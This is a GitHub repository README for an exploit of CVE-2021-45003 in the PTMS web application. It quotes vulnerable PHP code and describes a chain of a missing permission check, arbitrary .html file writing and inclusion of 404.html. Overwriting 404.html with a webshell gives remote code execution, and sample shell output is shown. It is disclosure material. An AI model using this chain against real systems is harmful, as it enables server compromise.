

main BUG_WEB / OpenSource / PTMS /



qerogram Update : CVE-2021-45003 ...

on Feb 23 History

..

report_img	9 months ago
README.md	9 months ago
ptms_exploit.py	9 months ago

README.md

PTMS

license MIT

Author

Qerogram

Version

php 7.2.24 PTMS version 2022.01.18

Vulnerability

RCE(Remote Code Execution) via File Upload

Chains the three vulnerabilities below and uses them.

1. Insecure Permission Check

It does not check user permission when using the arbitrary file writing function.

2. Arbitrary File Write Function

Limited arbitrary file write function exists.(Possible extension, "html".)

```
login.php Users.php SystemSettings.php x ptms_exploit.py footer.php
classes > SystemSettings.php
31 function update_settings_info(){
32     $data = "";
33     foreach ($_POST as $key => $value) {
34         if(!in_array($key,array("content")))
35             if(isset($_SESSION['system_info'][$key])){
36                 $value = str_replace("'", "&apos;", $value);
37                 $qry = $this->conn->query("UPDATE system_info set meta_value = '{$value}' where meta_field = '{$key}' ");
38             }else{
39                 $qry = $this->conn->query("INSERT into system_info set meta_value = '{$value}', meta_field = '{$key}' ");
40             }
41     }
42     if(isset($_POST['content'])){
43         foreach($_POST['content'] as $k => $v){
44             file_put_contents("../{$k}.html",$v);
45         }
46     }
47     $resp['msg'] = "System Info Successfully Updated.";
```

3. Local File Include

the error handling page with the extension "html" is loaded through the keyword "include".

```
login.php Users.php SystemSettings.php index.php x ptms_exploit.py footer.php
index.php
14 <?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?>
15 <!-- Content Wrapper. Contains page content -->
16 <div class="content-wrapper pt-3" style="min-height: 567.854px;">
17
18     <!-- Main content -->
19     <section class="content ">
20         <div class="container-fluid">
21             <?php
22             if(!file_exists($page.".php") && !is_dir($page)){
23                 include '404.html';
24             }else{
25                 if(is_dir($page))
26                     include $page.'/index.php';
27                 else
28                     include $page.'.php';
29             }
30         </div>
29     </section>
30 </div>
```

Therefore, we can overwrite the "404.html" file, which is an error handler page, with a webshell payload, as if overwriting the SEH handler code, and then invoke the error page to trigger an RCE vulnerability.

```
[qerogram] ~/Downloads/ptms
$ /usr/local/bin/python3 /Users/qerogram/Desktop/ptms_exploit.py
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ pwd
/var/www/html/ptms

$
```

Reference

[1] [Download WebApp from Vendor](#)